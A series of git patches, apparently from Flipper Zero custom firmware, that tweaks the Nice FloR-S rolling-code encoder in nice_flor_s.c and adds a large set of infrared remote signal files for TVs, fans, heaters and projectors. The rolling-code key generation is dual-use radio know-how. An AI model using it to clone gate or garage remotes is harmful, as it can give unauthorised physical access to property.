00:00:00 2001 From: r3df0xx Date: Wed, 30 Mar 2022 13:54:51 +0300 Subject: [PATCH 033/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index c28ad3df2..ffb337578 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -128,7 +128,7 @@ static bool } instance->generic.cnt++; - uint64_t decrypt = (uint64_t)instance->generic.serial << 16 | instance->generic.cnt; + uint64_t decrypt = (uint64_t)(instance->generic.serial << 16) | (instance->generic.cnt); FURI_LOG_I(TAG, "decrypt = %X", decrypt); uint64_t enc_part = (uint64_t)subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); FURI_LOG_I(TAG, "enc_part = %X", enc_part); @@ -153,19 +153,19 @@ static bool if (btn == 0x1) { //Button 1 - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[0][i]) << 44 | (enc_part); + instance->generic.data = ( (btn << 4) | (0xF ^ btn ^ loops[0][i]) << 44 | (enc_part) ); } if (btn == 0x2) { //Button 2 - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[1][i]) << 44 | (enc_part); + instance->generic.data = ( (btn << 4) | (0xF ^ btn ^ loops[1][i]) << 44 | (enc_part) ); } if (btn == 0x4) { //Button 3 - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[2][i]) << 44 | (enc_part); + instance->generic.data = ( (btn << 4) | (0xF ^ btn ^ loops[2][i]) << 44 | (enc_part) ); } if (btn == 0x8) { //Button 4 - instance->generic.data = btn << 4 | (0xF ^ btn ^ loops[3][i]) << 44 | (enc_part); + instance->generic.data = ( (btn << 4) | ((0xF ^ btn ^ loops[3][i]) << 44) | (enc_part) ); } FURI_LOG_I(TAG, "key = %X", instance->generic.data); From 040f09eeece86cf09ec1281ca8ffd0e9c3fe1ca1 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 30 Mar 2022 14:58:00 +0300 Subject: [PATCH 034/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index ffb337578..c72387243 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -128,7 +128,7 @@ static bool } instance->generic.cnt++; - uint64_t decrypt = (uint64_t)(instance->generic.serial << 16) | (instance->generic.cnt); + uint64_t decrypt = (uint64_t)( (instance->generic.serial << 16) | (instance->generic.cnt) ); FURI_LOG_I(TAG, "decrypt = %X", decrypt); uint64_t enc_part = (uint64_t)subghz_protocol_nice_flor_s_encrypt(decrypt, file_name); FURI_LOG_I(TAG, "enc_part = %X", enc_part); From c4ddb58fcbfbd74d4eaeb77a6060754c88d5536e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 31 Mar 2022 15:05:40 +0300 Subject: [PATCH 035/461] Fixing Nice FloR-S. Add new big IR databases. --- .../infrared/assets/ACs/Dreo_heater.ir | 44 +++ .../assets/ACs/Dyson_air_multiplier.ir | 50 ++++ .../infrared/assets/ACs/Dyson_hp09.ir | 12 + assets/resources/infrared/assets/ACs/LG_AC.ir | 38 +++ .../infrared/assets/ACs/Lasko_fan.ir | 20 ++ .../infrared/assets/ACs/Lasko_heater.ir | 38 +++ .../resources/infrared/assets/ACs/Vornado.ir | 20 ++ .../infrared/assets/ACs/Whynter_AC.ir | 56 ++++ .../infrared/assets/ACs/Zenith_AC.ir | 44 +++ .../infrared/assets/BluRay/LG_BlueRay.ir | 110 +++++++ .../infrared/assets/CCTV/Cv610_remote.ir | 110 +++++++ .../infrared/assets/CCTV/Szxlcom_cams.ir | 80 +++++ .../assets/Cable Boxes/Amino_amigo.ir | 68 +++++ .../infrared/assets/Cable Boxes/Direct_tv.ir | 146 +++++++++ .../infrared/assets/Cameras/Nikon.ir | 8 + .../infrared/assets/Consoles/Xbox.ir | 38 +++ .../resources/infrared/assets/ETC/Apple_tv.ir | 38 +++ .../infrared/assets/ETC/Hdmi_switch.ir | 38 +++ assets/resources/infrared/assets/ETC/Roku.ir | 62 ++++ assets/resources/infrared/assets/ETC/Roku2.ir | 62 ++++ .../assets/Head Units/Pioneer_1770nex.ir | 22 ++ .../infrared/assets/Projectors/BenQ.ir | 38 +++ .../Projectors/Casio-Projector_yt130.ir | 104 +++++++ .../assets/Projectors/Da_lite_proj_scrn.ir | 20 ++ .../assets/Projectors/Dragonfly_scrn.ir | 32 ++ .../infrared/assets/Projectors/Epson.ir | 110 +++++++ .../infrared/assets/Projectors/Scrn_innov.ir | 20 ++ .../infrared/assets/Projectors/Stlth_acou.ir | 20 ++ .../infrared/assets/SoundBars/Amz_snd_bar.ir | 56 ++++ .../infrared/assets/SoundBars/Old_sonyxbr.ir | 26 ++ .../assets/SoundBars/Vizio_Soundbar.ir | 50 ++++ .../infrared/assets/SoundBars/Yamaha_rx.ir | 116 ++++++++ assets/resources/infrared/assets/TVs/LG_C1.ir | 62 ++++ assets/resources/infrared/assets/TVs/NEC.ir | 158 ++++++++++ .../infrared/assets/TVs/Panasonic_TC-P50S2.ir | 278 ++++++++++++++++++ .../resources/infrared/assets/TVs/Samsung.ir | 92 ++++++ .../infrared/assets/TVs/Samsung_TV.ir | 74 +++++ .../infrared/assets/TVs/Samsung_e6.ir | 8 + .../infrared/assets/TVs/Sharp_Roku_TV.ir | 128 ++++++++ .../resources/infrared/assets/TVs/Sonyxbr.ir | 74 +++++ .../resources/infrared/assets/TVs/Sunbrite.ir | 80 +++++ assets/resources/infrared/assets/TVs/Tcl.ir | 98 ++++++ .../infrared/assets/TVs/Tcl_32s327.ir | 62 ++++ .../resources/infrared/assets/TVs/Tcl_tv.ir | 50 ++++ assets/resources/infrared/assets/TVs/Vizio.ir | 104 +++++++ .../infrared/assets/TVs/Westinghouse.ir | 92 ++++++ lib/subghz/protocols/nice_flor_s.c | 6 +- 47 files changed, 3061 insertions(+), 1 deletion(-) create mode 100644 assets/resources/infrared/assets/ACs/Dreo_heater.ir create mode 100644 assets/resources/infrared/assets/ACs/Dyson_air_multiplier.ir create mode 100644 assets/resources/infrared/assets/ACs/Dyson_hp09.ir create mode 100644 assets/resources/infrared/assets/ACs/LG_AC.ir create mode 100644 assets/resources/infrared/assets/ACs/Lasko_fan.ir create mode 100644 assets/resources/infrared/assets/ACs/Lasko_heater.ir create mode 100644 assets/resources/infrared/assets/ACs/Vornado.ir create mode 100644 assets/resources/infrared/assets/ACs/Whynter_AC.ir create mode 100644 assets/resources/infrared/assets/ACs/Zenith_AC.ir create mode 100644 assets/resources/infrared/assets/BluRay/LG_BlueRay.ir create mode 100644 assets/resources/infrared/assets/CCTV/Cv610_remote.ir create mode 100644 assets/resources/infrared/assets/CCTV/Szxlcom_cams.ir create mode 100644 assets/resources/infrared/assets/Cable Boxes/Amino_amigo.ir create mode 100644 assets/resources/infrared/assets/Cable Boxes/Direct_tv.ir create mode 100644 assets/resources/infrared/assets/Cameras/Nikon.ir create mode 100644 assets/resources/infrared/assets/Consoles/Xbox.ir create mode 100644 assets/resources/infrared/assets/ETC/Apple_tv.ir create mode 100644 assets/resources/infrared/assets/ETC/Hdmi_switch.ir create mode 100644 assets/resources/infrared/assets/ETC/Roku.ir create mode 100644 assets/resources/infrared/assets/ETC/Roku2.ir create mode 100644 assets/resources/infrared/assets/Head Units/Pioneer_1770nex.ir create mode 100644 assets/resources/infrared/assets/Projectors/BenQ.ir create mode 100644 assets/resources/infrared/assets/Projectors/Casio-Projector_yt130.ir create mode 100644 assets/resources/infrared/assets/Projectors/Da_lite_proj_scrn.ir create mode 100644 assets/resources/infrared/assets/Projectors/Dragonfly_scrn.ir create mode 100644 assets/resources/infrared/assets/Projectors/Epson.ir create mode 100644 assets/resources/infrared/assets/Projectors/Scrn_innov.ir create mode 100644 assets/resources/infrared/assets/Projectors/Stlth_acou.ir create mode 100644 assets/resources/infrared/assets/SoundBars/Amz_snd_bar.ir create mode 100644 assets/resources/infrared/assets/SoundBars/Old_sonyxbr.ir create mode 100644 assets/resources/infrared/assets/SoundBars/Vizio_Soundbar.ir create mode 100644 assets/resources/infrared/assets/SoundBars/Yamaha_rx.ir create mode 100644 assets/resources/infrared/assets/TVs/LG_C1.ir create mode 100644 assets/resources/infrared/assets/TVs/NEC.ir create mode 100644 assets/resources/infrared/assets/TVs/Panasonic_TC-P50S2.ir create mode 100644 assets/resources/infrared/assets/TVs/Samsung.ir create mode 100644 assets/resources/infrared/assets/TVs/Samsung_TV.ir create mode 100644 assets/resources/infrared/assets/TVs/Samsung_e6.ir create mode 100644 assets/resources/infrared/assets/TVs/Sharp_Roku_TV.ir create mode 100644 assets/resources/infrared/assets/TVs/Sonyxbr.ir create mode 100644 assets/resources/infrared/assets/TVs/Sunbrite.ir create mode 100644 assets/resources/infrared/assets/TVs/Tcl.ir create mode 100644 assets/resources/infrared/assets/TVs/Tcl_32s327.ir create mode 100644 assets/resources/infrared/assets/TVs/Tcl_tv.ir create mode 100644 assets/resources/infrared/assets/TVs/Vizio.ir create mode 100644 assets/resources/infrared/assets/TVs/Westinghouse.ir diff --git a/assets/resources/infrared/assets/ACs/Dreo_heater.ir b/assets/resources/infrared/assets/ACs/Dreo_heater.ir new file mode 100644 index 000000000..54ea2f2af --- /dev/null +++ b/assets/resources/infrared/assets/ACs/Dreo_heater.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1306 402 1280 404 437 1236 1278 406 1276 409 432 1241 431 1241 431 1215 457 1241 441 1231 441 1231 1272 7138 1307 402 1280 404 437 1236 1277 406 1276 408 433 1241 431 1215 468 1231 441 1231 441 1232 440 1232 1271 8217 1301 408 1274 410 431 1242 1272 411 1281 403 438 1236 436 1236 436 1236 436 1236 436 1236 436 1236 1277 7133 1302 407 1275 409 432 1241 1272 411 1272 412 439 1234 438 1234 438 1234 438 1234 438 1234 438 1234 1279 8208 1299 410 1272 411 440 1233 1280 403 1279 405 436 1238 434 1238 434 1238 434 1238 434 1238 434 1238 1276 7134 1300 409 1273 410 431 1242 1272 411 1281 403 438 1235 437 1235 437 1235 437 1235 437 1235 437 1235 1278 8209 1298 411 1271 412 439 1234 1279 404 1279 405 436 1237 435 1238 434 1238 434 1238 434 1238 434 1238 1275 7135 1299 410 1273 411 440 1232 1281 403 1279 405 436 1237 435 1238 434 1238 434 1238 434 1238 434 1238 1275 +# +name: Heat_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1303 405 1278 406 435 1237 1276 407 1275 409 432 1240 432 1265 407 1265 407 1291 381 1290 1223 409 432 7963 1302 407 1275 409 432 1239 1274 410 1273 412 439 1232 440 1258 414 1283 389 1283 389 1282 1221 411 440 9121 1301 408 1274 410 441 1230 1273 411 1282 402 439 1233 439 1259 413 1258 414 1257 415 1283 1220 411 440 7955 1299 409 1274 411 440 1231 1272 412 1281 403 438 1234 438 1260 412 1259 413 1285 387 1258 1255 403 438 9123 1299 410 1273 411 440 1232 1281 403 1279 404 437 1235 437 1235 437 1260 412 1260 412 1259 1254 404 437 7959 1306 403 1279 405 436 1236 1278 406 1276 408 433 1238 434 1238 434 1263 409 1263 409 1262 1251 407 434 9128 1304 405 1278 406 435 1237 1276 408 1274 410 441 1231 441 1230 431 1267 405 1266 406 1265 1248 410 441 7956 1298 410 1273 412 439 1232 1281 403 1279 405 436 1236 436 1262 410 1261 411 1261 411 1260 1253 405 436 +# +name: Heat_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1302 406 1276 408 433 1239 1274 410 1273 411 440 1232 440 1258 1255 403 438 1234 438 1260 1253 404 437 7960 1305 404 1279 405 436 1236 1277 407 1275 409 432 1240 432 1265 1248 410 441 1230 431 1267 1247 411 440 9062 1298 411 1281 403 438 1234 1279 405 1278 406 435 1237 435 1263 1250 408 433 1239 433 1265 1248 410 441 7956 1299 410 1273 411 440 1232 1281 403 1279 405 436 1236 436 1262 1251 407 434 1238 434 1264 1249 409 432 9072 1298 411 1281 403 438 1234 1279 405 1277 407 434 1238 434 1264 1249 409 432 1240 432 1266 1247 410 441 7956 1299 410 1272 412 439 1233 1280 404 1279 405 436 1237 435 1263 1249 408 433 1239 433 1265 1248 410 441 9064 1306 403 1279 405 436 1236 1277 407 1275 409 432 1241 431 1267 1247 411 440 1231 441 1231 1281 403 438 7959 1306 403 1279 405 436 1236 1277 407 1275 409 432 1240 432 1240 1273 410 441 1231 441 1231 1282 402 439 +# +name: Mode +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1306 403 1279 404 437 1235 1278 405 1278 406 435 1238 434 1211 461 1210 462 1236 1277 405 436 1236 436 7959 1306 402 1280 403 438 1234 1279 404 1278 405 436 1210 462 1236 436 1209 463 1235 1278 404 437 1209 463 9015 1301 407 1276 407 434 1239 1275 407 1275 409 432 1241 431 1240 432 1214 458 1213 1300 408 433 1240 432 7962 1302 407 1276 407 434 1239 1274 408 1274 410 431 1242 430 1241 431 1240 432 1240 1273 410 431 1241 431 9021 1306 403 1279 404 437 1235 1278 405 1278 406 435 1237 435 1237 435 1237 435 1236 1278 405 436 1237 435 7960 1304 403 1279 404 437 1235 1278 405 1278 406 435 1237 435 1236 436 1235 437 1234 1279 404 437 1235 437 9015 1302 406 1276 407 434 1238 1275 409 1273 410 441 1231 441 1230 431 1266 406 1265 1248 410 431 1241 431 7964 1300 408 1274 410 441 1231 1272 411 1281 403 438 1234 438 1234 438 1259 413 1259 1254 404 437 1234 438 +# +name: Mute +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1300 406 1276 407 434 1215 1298 408 1274 410 441 1207 1296 411 440 1208 464 1208 463 1208 464 1208 464 7956 1298 409 1273 411 440 1208 1305 402 1280 404 437 1211 1302 405 436 1213 459 1212 460 1212 459 1212 460 9225 1301 405 1278 406 435 1213 1300 407 1275 409 432 1217 1296 410 441 1207 465 1206 455 1216 456 1216 456 7964 1300 406 1276 408 433 1215 1298 409 1273 410 441 1207 1306 401 440 1208 464 1208 464 1207 465 1207 465 9221 1306 401 1281 403 438 1210 1303 404 1278 405 436 1213 1300 407 434 1215 457 1215 457 1215 457 1214 458 7964 1300 406 1276 408 433 1216 1297 410 1283 401 440 1209 1304 377 464 1211 461 1210 462 1210 462 1210 461 +# +name: Rotate +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1296 411 1271 412 439 1233 1280 404 1279 405 436 1236 436 1236 1277 405 436 1236 436 1236 436 1235 437 7958 1306 403 1279 404 437 1235 1279 405 1277 407 434 1238 434 1239 1274 409 432 1240 432 1240 432 1266 406 9022 1304 405 1278 406 435 1237 1275 409 1273 410 441 1231 440 1257 1256 402 439 1234 438 1260 412 1260 412 7959 1305 404 1279 406 435 1237 1276 408 1274 410 441 1231 441 1257 1246 412 439 1232 439 1259 413 1259 413 +# +name: Timer +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1303 380 1302 407 434 1238 1275 408 1274 410 441 1230 442 1256 405 1266 1247 411 440 1231 441 1257 415 7956 1298 411 1281 403 438 1234 1279 405 1277 407 434 1238 434 1265 406 1265 1247 410 441 1231 441 1257 415 9271 1297 412 1280 404 437 1235 1278 406 1276 408 433 1239 433 1266 406 1265 1248 410 441 1231 440 1258 414 7957 1307 402 1280 404 437 1235 1278 405 1276 408 433 1239 433 1265 407 1265 1247 410 441 1231 440 1258 414 9271 1298 412 1280 403 438 1234 1279 405 1277 407 434 1238 434 1265 406 1265 1248 410 431 1241 431 1267 405 7966 1298 410 1272 412 439 1233 1280 404 1279 405 436 1236 436 1262 409 1262 1251 407 434 1238 434 1264 407 diff --git a/assets/resources/infrared/assets/ACs/Dyson_air_multiplier.ir b/assets/resources/infrared/assets/ACs/Dyson_air_multiplier.ir new file mode 100644 index 000000000..b4c98e49a --- /dev/null +++ b/assets/resources/infrared/assets/ACs/Dyson_air_multiplier.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2229 716 749 747 728 715 750 720 756 714 751 719 757 1447 751 719 756 714 751 1453 755 742 723 747 729 742 754 716 749 721 754 715 729 741 724 1454 754 1450 758 1445 753 1451 757 714 751 50967 2228 717 748 1455 753 51028 2198 746 730 1449 749 +# +name: Speed_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2225 719 756 741 724 720 755 715 750 720 755 716 749 1456 752 719 746 726 749 1456 731 741 755 1451 757 714 751 1455 753 718 757 1448 750 1456 752 720 755 715 750 721 754 1452 756 1449 759 51509 2201 743 732 1473 756 51069 2202 717 758 1448 750 +# +name: Speed_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2234 712 752 743 732 713 751 720 755 716 749 722 753 1453 754 716 759 712 752 1453 754 718 757 1449 758 713 751 1455 752 1454 753 718 757 741 723 748 727 745 730 1449 758 739 725 1455 752 51252 2234 713 751 1454 753 +# +name: Rotate +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2199 716 759 763 701 742 732 737 727 742 732 737 727 1448 759 738 726 743 732 1444 752 771 724 745 729 1447 760 1417 758 739 746 750 725 1426 760 737 727 743 732 739 725 1452 755 743 732 50977 2206 711 753 1449 758 51061 2226 721 754 1451 724 +# +name: Circulate +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2232 712 752 743 731 712 752 718 756 713 751 745 729 1447 749 721 753 717 757 1446 750 1453 754 717 757 712 752 718 756 713 751 1451 756 741 723 720 754 1449 758 1447 728 1449 758 1447 780 51509 2200 718 756 1474 722 51067 2202 743 731 1446 750 +# +name: Auto +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2227 716 748 721 753 716 758 712 752 717 747 723 751 1452 723 747 727 742 722 1482 724 1479 748 722 752 1451 724 747 727 1449 757 713 782 714 750 720 754 716 748 722 752 717 747 723 751 50706 2204 713 751 1481 725 51062 2225 719 755 1449 747 +# +name: Sleep +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2229 714 750 747 727 717 757 713 751 719 755 715 749 1455 751 719 755 715 749 1455 751 1453 753 717 757 714 750 1454 752 718 756 714 750 746 728 742 722 722 752 1452 754 716 758 1445 751 50982 2229 716 727 1479 748 51048 2205 712 752 1450 756 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2195 722 752 743 721 749 746 723 730 739 746 723 751 1450 725 745 729 739 725 1477 729 1473 754 716 748 1454 731 1445 751 719 755 1473 723 1453 753 1449 757 713 751 718 756 1447 749 747 727 50748 2201 743 731 1473 754 diff --git a/assets/resources/infrared/assets/ACs/Dyson_hp09.ir b/assets/resources/infrared/assets/ACs/Dyson_hp09.ir new file mode 100644 index 000000000..121c626af --- /dev/null +++ b/assets/resources/infrared/assets/ACs/Dyson_hp09.ir @@ -0,0 +1,12 @@ +Power RAW F:38000 DC:33 2223 753 725 720 748 750 728 743 725 746 722 1458 750 749 750 722 726 747 721 1460 748 724 755 744 724 721 747 724 754 744 724 747 752 720 748 1458 750 722 756 715 753 718 750 1456 752 51488 2221 727 721 1460 748 51156 2203 744 724 1456 752 +Info RAW F:38000 DC:33 2229 718 750 721 747 724 755 716 752 719 749 1457 751 721 747 724 744 727 721 1486 722 1458 749 722 746 1459 749 1457 751 720 779 1427 750 1456 752 1454 754 1452 745 1460 748 1457 751 1455 722 51635 2218 727 751 1453 744 51091 2227 745 723 1455 753 51082 2226 719 718 1459 749 +Fan_up RAW F:38000 DC:33 2229 715 753 717 751 719 749 722 746 725 753 1451 757 715 753 717 751 720 748 1457 750 720 748 1457 750 720 727 1451 756 741 727 1478 750 1455 722 749 750 1455 722 1457 750 746 753 718 750 51532 2195 750 749 1457 750 51053 2222 722 756 1449 748 +Fan_dwn RAW F:38000 DC:33 2225 745 723 748 720 750 718 752 726 744 724 1453 755 743 746 698 749 721 747 1459 748 723 755 1449 748 722 746 1459 748 1458 729 742 726 745 723 748 720 1485 723 749 729 715 753 1478 750 51268 2224 721 747 1457 750 51063 2203 742 726 1453 754 +Heat_up RAW F:38000 DC:33 2227 716 721 749 750 720 748 721 747 723 755 1448 749 722 746 724 744 726 722 1483 724 746 722 1482 726 745 723 1454 753 716 752 1478 729 1450 747 750 728 1450 747 1458 749 1456 751 746 722 50808 2200 745 754 1451 726 51079 2227 718 750 1429 748 +Heat_down RAW F:38000 DC:33 2229 716 752 718 750 720 748 722 746 724 755 1450 747 723 745 725 753 717 751 1453 755 716 752 1452 756 1449 748 1456 721 1483 755 1448 749 1455 722 1456 752 1453 755 1450 747 1456 752 1453 755 50840 2221 749 729 1449 748 51062 2194 750 728 1449 748 +Auto RAW F:38000 DC:33 2278 692 725 745 723 747 721 748 730 739 750 1427 750 748 751 719 728 742 726 1451 756 1448 749 749 729 1474 723 747 721 1456 721 776 702 741 747 723 724 1479 728 1476 721 750 728 741 748 51224 2225 719 749 1453 724 51075 2221 721 726 1476 721 +Cool RAW F:38000 DC:33 2220 724 754 715 753 716 752 718 750 720 748 1481 726 744 724 719 749 721 747 1457 750 747 721 1456 731 1474 723 747 721 749 729 1500 728 717 751 1478 719 750 728 715 753 717 751 1478 729 51218 2202 767 722 1454 723 51044 2223 720 748 1456 721 +Swivel RAW F:38000 DC:33 2223 720 748 749 729 741 727 743 725 744 724 1453 754 743 745 724 723 747 721 1456 751 746 722 748 730 1448 749 1455 752 744 724 746 722 1455 752 744 724 1454 753 1451 756 1449 748 748 730 51497 2229 713 755 1449 748 51064 2201 714 754 1449 748 +Timer RAW F:38000 DC:33 2225 718 750 719 749 721 747 722 746 723 745 1458 750 720 748 722 726 744 724 1452 756 741 727 742 726 1451 746 1457 750 1454 754 716 752 717 720 1483 725 745 723 1454 754 1450 747 1456 752 50811 2199 744 745 1433 754 51049 2229 715 743 1435 752 +Night RAW F:38000 DC:33 2227 713 806 664 753 716 752 718 750 719 749 1455 752 718 750 719 749 720 758 1445 752 1424 784 714 754 688 780 1424 753 718 750 745 754 716 752 717 751 1454 753 716 752 718 750 720 748 51722 2202 686 782 1423 754 51080 2228 714 754 1423 754 +Direction RAW F:38000 DC:33 2223 745 723 747 731 738 730 739 729 741 727 1449 748 748 751 718 729 740 728 1449 748 1456 751 745 723 747 721 748 730 739 729 1448 749 748 730 739 729 741 727 742 747 1430 757 1446 751 50981 2223 719 729 1449 748 51077 2200 743 725 1478 729 diff --git a/assets/resources/infrared/assets/ACs/LG_AC.ir b/assets/resources/infrared/assets/ACs/LG_AC.ir new file mode 100644 index 000000000..db3adfa8a --- /dev/null +++ b/assets/resources/infrared/assets/ACs/LG_AC.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 81 7E 00 00 +# +name: Temp Down +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 8A 75 00 00 +# +name: Temp Up +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 85 7A 00 00 +# +name: Fan Speed +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 99 66 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9F 60 00 00 +# +name: Mode +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9B 64 00 00 diff --git a/assets/resources/infrared/assets/ACs/Lasko_fan.ir b/assets/resources/infrared/assets/ACs/Lasko_fan.ir new file mode 100644 index 000000000..6580793b9 --- /dev/null +++ b/assets/resources/infrared/assets/ACs/Lasko_fan.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1280 457 1229 426 468 1236 1282 456 1230 427 468 1236 470 1235 471 1235 471 1235 471 1235 492 1240 1289 7171 1290 422 1284 399 464 1238 1291 422 1284 399 464 1239 467 1238 468 1238 468 1238 489 1217 500 1233 1285 7176 1285 426 1280 403 471 1232 1286 426 1281 403 471 1232 464 1242 496 1210 496 1237 469 1236 470 1236 1282 7206 1286 399 1287 422 441 1262 1287 398 1288 449 435 1215 491 1241 465 1240 466 1240 466 1240 466 1240 1289 7199 1283 429 1257 426 469 1235 1283 428 1258 426 469 1234 473 1234 472 1234 472 1233 474 1233 463 1243 1306 7182 1289 448 1258 398 465 1238 1291 448 1258 425 438 1239 467 1238 468 1238 468 1237 490 1216 490 1242 1287 +# +name: Osc +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1289 448 1227 454 441 1238 1280 457 1228 454 441 1238 468 1239 1289 448 436 1215 491 1242 475 1233 473 8012 1281 457 1249 406 468 1237 1281 457 1260 396 467 1238 468 1239 1290 448 436 1242 475 1233 473 1234 472 8013 1291 421 1285 397 466 1238 1291 421 1285 398 465 1239 467 1240 1288 423 472 1233 473 1233 473 1234 472 8014 1289 449 1257 398 465 1239 1289 422 1284 398 465 1239 467 1240 1309 403 471 1233 473 1234 472 1235 471 8015 1309 402 1283 426 437 1241 1308 403 1283 427 436 1241 496 1237 1281 404 470 1235 471 1235 471 1236 491 8021 1282 402 1284 452 443 1235 1283 402 1284 452 443 1209 497 1236 1282 402 472 1233 463 1243 495 1212 494 8019 1284 427 1258 450 445 1233 1285 426 1259 450 444 1233 473 1233 1285 426 437 1240 497 1209 497 1236 470 8016 1288 450 1225 431 464 1241 1288 451 1255 402 472 1232 474 1232 1286 452 443 1235 523 1183 471 1235 471 +# +name: Speed +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1286 424 1251 430 465 1241 1287 423 1252 457 437 1241 465 1242 464 1243 474 1234 472 1235 1314 423 440 8017 1286 451 1255 401 462 1242 1286 452 1254 402 472 1232 474 1233 473 1234 472 1234 493 1241 1287 424 439 8014 1289 422 1284 426 437 1241 1287 451 1255 403 471 1234 472 1234 472 1235 492 1215 491 1242 1286 399 464 8018 1285 426 1280 403 471 1234 1284 454 1252 404 470 1235 471 1236 491 1215 491 1243 526 1181 1285 427 436 8019 1315 423 1262 395 468 1236 1313 400 1286 424 439 1238 489 1218 499 1235 471 1236 470 1236 1282 430 464 8019 1284 401 1284 426 468 1236 1282 404 1281 456 438 1240 466 1240 466 1241 465 1241 465 1242 1286 426 468 8015 1288 424 1261 448 436 1242 1286 426 1259 451 444 1234 472 1234 472 1235 471 1235 471 1236 1282 456 438 diff --git a/assets/resources/infrared/assets/ACs/Lasko_heater.ir b/assets/resources/infrared/assets/ACs/Lasko_heater.ir new file mode 100644 index 000000000..e03581787 --- /dev/null +++ b/assets/resources/infrared/assets/ACs/Lasko_heater.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1282 430 1260 427 412 1272 1258 428 1251 435 415 1270 409 1275 415 1269 410 1274 416 1269 410 1274 1256 7299 1278 435 1255 431 408 1276 1254 433 1257 429 410 1274 416 1268 411 1273 417 1267 412 1246 433 1251 1279 7301 1286 427 1252 434 416 1268 1251 435 1255 431 408 1276 414 1270 409 1275 415 1269 410 1274 416 1242 1288 7293 1284 429 1250 436 414 1269 1261 426 1253 433 406 1277 413 1245 434 1249 441 1244 435 1249 441 1270 1260 7294 1283 430 1260 426 413 1270 1260 427 1252 434 416 1267 412 1272 407 1251 439 1246 433 1251 439 1245 1285 7295 1281 432 1258 428 411 1272 1258 429 1250 436 414 1269 410 1274 416 1242 437 1248 442 1242 437 1247 1283 +# +name: High +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1284 430 1260 428 411 1272 1258 431 1259 428 411 1273 417 1242 490 1195 495 1191 1286 402 437 1273 417 8139 1287 427 1252 434 416 1268 1262 427 1252 434 416 1268 411 1248 442 1243 436 1249 1280 433 417 1268 411 8144 1283 432 1258 429 410 1273 1257 431 1259 428 411 1273 417 1242 437 1248 442 1243 1287 427 412 1272 407 8148 1278 435 1255 433 406 1277 1253 435 1255 432 407 1277 413 1272 407 1251 439 1246 1283 431 408 1276 414 8141 1286 428 1251 435 415 1270 1260 427 1252 435 415 1269 410 1274 416 1269 410 1275 1255 432 407 1278 412 8143 1284 429 1250 436 414 1271 1259 428 1251 435 415 1270 409 1249 441 1270 409 1276 1254 433 406 1278 412 8143 1284 429 1261 426 413 1271 1259 402 1278 435 415 1270 409 1249 441 1271 408 1250 1280 433 417 1268 412 8143 1284 402 1278 435 415 1270 1260 427 1253 434 416 1269 410 1274 416 1242 437 1248 1282 431 408 1276 414 8141 1286 426 1254 433 417 1268 1252 435 1255 432 407 1277 413 1271 408 1277 413 1272 1258 429 411 1274 416 8138 1278 434 1256 430 409 1276 1254 432 1258 429 410 1274 416 1269 410 1275 415 1270 1260 426 414 1271 408 8146 1281 432 1258 428 412 1273 1257 430 1260 426 413 1271 408 1276 414 1271 408 1276 1254 434 416 1268 411 8142 1285 428 1251 435 415 1269 1261 426 1254 433 406 1278 412 1272 407 1278 412 1272 1258 429 410 1275 415 8139 1277 435 1255 432 407 1277 1253 434 1256 430 409 1275 415 1270 409 1275 415 1270 1259 427 412 1273 406 8147 1280 433 1257 430 409 1275 1255 431 1259 428 411 1273 406 1278 412 1273 417 1267 1252 435 415 1270 409 8144 1283 430 1260 426 413 1271 1259 428 1251 435 415 1269 410 1275 415 1269 410 1274 1256 432 407 1277 413 8140 1287 426 1253 433 406 1278 1252 435 1255 431 408 1276 414 1271 408 1276 414 1271 1259 428 411 1273 417 8137 1279 433 1257 430 409 1275 1255 432 1258 428 411 1273 417 1267 412 1272 407 1278 1252 434 416 1269 410 8142 1285 428 